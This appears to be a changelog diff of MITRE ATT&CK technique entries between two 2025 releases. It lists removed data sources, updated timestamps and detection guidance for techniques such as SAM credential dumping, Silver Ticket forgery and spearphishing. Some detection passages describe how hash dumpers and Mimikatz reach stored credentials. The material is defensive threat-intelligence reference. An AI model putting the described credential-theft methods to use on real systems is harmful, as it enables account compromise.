x_mitre_detectionMonitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. + +Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

[T1029] Scheduled Transfer

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:03:03.336000+00:002025-10-24 17:48:45.522000+00:00
x_mitre_detectionMonitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.

[T1113] Screen Capture

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:03:14.254000+00:002025-10-24 17:48:19.886000+00:00
x_mitre_detectionMonitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.

[T1546.002] Event Triggered Execution: Screensaver

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'File: File Creation', 'Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:21.356000+00:002025-10-24 17:49:24.634000+00:00
x_mitre_detectionMonitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior. + +Tools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.

[T1597] Search Closed Sources

Current version: 1.1

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:03:31.068000+00:002025-10-24 17:49:11.164000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1593.002] Search Open Websites/Domains: Search Engines

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:03:45.401000+00:002025-10-24 17:48:55.709000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1596] Search Open Technical Databases

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:04:02.249000+00:002025-10-24 17:48:48.734000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1593] Search Open Websites/Domains

Current version: 1.1

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:04:23.505000+00:002025-10-24 17:49:10.188000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1594] Search Victim-Owned Websites

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:04:36.505000+00:002025-10-24 17:48:26.799000+00:00
x_mitre_detectionMonitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.

[T1003.002] OS Credential Dumping: Security Account Manager

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Access', 'Windows Registry: Windows Registry Key Access', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:04:51.689000+00:002025-10-24 17:48:26.545000+00:00
x_mitre_detectionHash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.

[T1518.001] Software Discovery: Security Software Discovery

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Firewall: Firewall Metadata', 'Command: Command Execution', 'Process: OS API Execution', 'Firewall: Firewall Enumeration']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:05:09.449000+00:002025-10-24 17:49:23.401000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +In cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.

[T1547.005] Boot or Logon Autostart Execution: Security Support Provider

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:46:38.641000+00:002025-10-24 17:48:46.245000+00:00
x_mitre_detectionMonitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

[T1555.002] Credentials from Password Stores: Securityd Memory

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:05:25.349000+00:002025-10-24 17:48:28.055000+00:00
x_mitre_detectionMonitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords.

[T1584.004] Compromise Infrastructure: Server

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Content', 'Internet Scan: Response Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:05:41.313000+00:002025-10-24 17:49:30.616000+00:00
x_mitre_detectionOnce adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

[T1583.004] Acquire Infrastructure: Server

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Metadata', 'Internet Scan: Response Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:05:58.721000+00:002025-10-24 17:48:50.911000+00:00
x_mitre_detectionOnce adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

[T1505] Server Software Component

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'File: File Modification', 'File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:21.713000+00:002025-10-24 17:49:27.065000+00:00
x_mitre_detectionConsider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components. + +Process monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)

[T1569.002] System Services: Service Execution

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Modification', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation', 'Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:20.444000+00:002025-10-24 17:49:35.506000+00:00
x_mitre_detectionChanges to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).

[T1499.002] Endpoint Denial of Service: Service Exhaustion Flood

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'Sensor Health: Host Status', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:06:48.799000+00:002025-10-24 17:48:39.609000+00:00
x_mitre_detectionDetection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. + +In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt. + +Externally monitor the availability of services that may be targeted by an Endpoint DoS.

[T1574.010] Hijack Execution Flow: Services File Permissions Weakness

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'File: File Creation', 'Process: Process Creation', 'Service: Service Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:47:32.419000+00:002025-10-24 17:49:09.575000+00:00
x_mitre_detectionLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. + +Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.

[T1548.001] Abuse Elevation Control Mechanism: Setuid and Setgid

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Metadata', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:17.707000+00:002025-10-24 17:48:53.456000+00:00
x_mitre_detectionMonitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.

[T1129] Shared Modules

Current version: 2.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Module: Module Load']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:04.668000+00:002025-10-24 17:48:22.302000+00:00
x_mitre_detectionMonitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to `%SystemRoot%` and `%ProgramFiles%` directories will protect against module loads from unsafe paths. + +Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.

[T1213.002] Data from Information Repositories: Sharepoint

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Logon Session: Logon Session Creation', 'Application Log: Application Log Content', 'Cloud Service: Cloud Service Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:07:18.929000+00:002025-10-24 17:48:22.832000+00:00
x_mitre_detectionThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. + +

[T1547.009] Boot or Logon Autostart Execution: Shortcut Modification

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'Process: Process Creation', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:28.507000+00:002025-10-24 17:48:44.403000+00:00
x_mitre_detectionSince a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections. + +Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)

[T1558.002] Steal or Forge Kerberos Tickets: Silver Ticket

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Logon Session: Logon Session Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:09.547000+00:002025-10-24 17:49:26.177000+00:00
x_mitre_detectionMonitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) + +Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.

[T1593.001] Search Open Websites/Domains: Social Media

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:08:29.336000+00:002025-10-24 17:49:18.054000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1585.001] Establish Accounts: Social Media Accounts

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Persona: Social Media']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:09:01.225000+00:002025-10-24 17:49:14.364000+00:00
x_mitre_detectionConsider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).

[T1586.001] Compromise Accounts: Social Media Accounts

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Persona: Social Media', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:08:45.478000+00:002025-10-24 17:48:32.696000+00:00
x_mitre_detectionConsider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).

[T1205.002] Traffic Signaling: Socket Filters

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:09:39.651000+00:002025-10-24 17:48:19.274000+00:00
x_mitre_detectionIdentify running processes with raw sockets. Ensure processes listed have a need for an open raw socket and are in accordance with enterprise policy.(Citation: crowdstrike bpf socket filters)

[T1072] Software Deployment Tools

Current version: 3.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:51.465000+00:002025-10-24 17:49:06.595000+00:00
x_mitre_detectionDetection methods will vary depending on the type of third-party software or system and how it is typically used. + +The same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. + +Often these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage. + +Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.

[T1518] Software Discovery

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Command: Command Execution', 'Process: Process Creation', 'Firewall: Firewall Enumeration', 'Firewall: Firewall Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:16.123000+00:002025-10-24 17:49:31.671000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1176] Software Extensions

Current version: 2.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Windows Registry: Windows Registry Key Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:22.784000+00:002025-10-24 17:48:39.525000+00:00
x_mitre_detectionInventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. + +Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation. + +On macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)

[T1027.002] Obfuscated Files or Information: Software Packing

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:22.038000+00:002025-10-24 17:49:29.503000+00:00
x_mitre_detectionUse file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.

[T1036.006] Masquerading: Space after Filename

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:22.412000+00:002025-10-24 17:49:32.287000+00:00
x_mitre_detectionIt's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.

[T1566.001] Phishing: Spearphishing Attachment

Current version: 2.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:10:26.686000+00:002025-10-24 17:48:35.522000+00:00
x_mitre_detectionNetwork intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. + +Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) + +Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts. + +Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)

[T1598.002] Phishing for Information: Spearphishing Attachment

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:49.390000+00:002025-10-24 17:49:04.751000+00:00
x_mitre_detectionMonitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)

[T1598.001] Phishing for Information: Spearphishing Service

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:11:18.959000+00:002025-10-24 17:49:38.182000+00:00
x_mitre_detectionMonitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1566.004] Phishing: Spearphishing Voice

Current version: 1.2

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may use voice communications to ultimately gain t1Adversaries may use voice communications to ultimately gain 
>access to victim systems. Spearphishing voice is a specific >access to victim systems. Spearphishing voice is a specific 
>variant of spearphishing. It is different from other forms o>variant of spearphishing. It is different from other forms o
>f spearphishing in that is employs the use of manipulating a>f spearphishing in that it employs the use of manipulating a
> user into providing access to systems through a phone call > user into providing access to systems through a phone call 
>or other forms of voice communications. Spearphishing freque>or other forms of voice communications. Spearphishing freque
>ntly involves social engineering techniques, such as posing >ntly involves social engineering techniques, such as posing 
>as a trusted source (ex: [Impersonation](https://attack.mitr>as a trusted source (ex: [Impersonation](https://attack.mitr
>e.org/techniques/T1656)) and/or creating a sense of urgency >e.org/techniques/T1656)) and/or creating a sense of urgency 
>or alarm for the recipient.  All forms of phishing are elect>or alarm for the recipient.  All forms of phishing are elect
>ronically delivered social engineering. In this scenario, ad>ronically delivered social engineering. In this scenario, ad
>versaries are not directly sending malware to a victim vice >versaries are not directly sending malware to a victim vice 
>relying on [User Execution](https://attack.mitre.org/techniq>relying on [User Execution](https://attack.mitre.org/techniq
>ues/T1204) for delivery and execution. For example, victims >ues/T1204) for delivery and execution. For example, victims 
>may receive phishing messages that instruct them to call a p>may receive phishing messages that instruct them to call a p
>hone number where they are directed to visit a malicious URL>hone number where they are directed to visit a malicious URL
>, download malware,(Citation: sygnia Luna Month)(Citation: C>, download malware,(Citation: sygnia Luna Month)(Citation: C
>ISA Remote Monitoring and Management Software) or install ad>ISA Remote Monitoring and Management Software) or install ad
>versary-accessible remote management tools ([Remote Access T>versary-accessible remote management tools ([Remote Access T
>ools](https://attack.mitre.org/techniques/T1219)) onto their>ools](https://attack.mitre.org/techniques/T1219)) onto their
> computer.(Citation: Unit42 Luna Moth)  Adversaries may also> computer.(Citation: Unit42 Luna Moth)  Adversaries may also
> combine voice phishing with [Multi-Factor Authentication Re> combine voice phishing with [Multi-Factor Authentication Re
>quest Generation](https://attack.mitre.org/techniques/T1621)>quest Generation](https://attack.mitre.org/techniques/T1621)
> in order to trick users into divulging MFA credentials or a> in order to trick users into divulging MFA credentials or a
>ccepting authentication prompts.(Citation: Proofpoint Vishin>ccepting authentication prompts.(Citation: Proofpoint Vishin
>g)>g)

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:02.243000+00:002025-07-02 18:06:37.932000+00:00
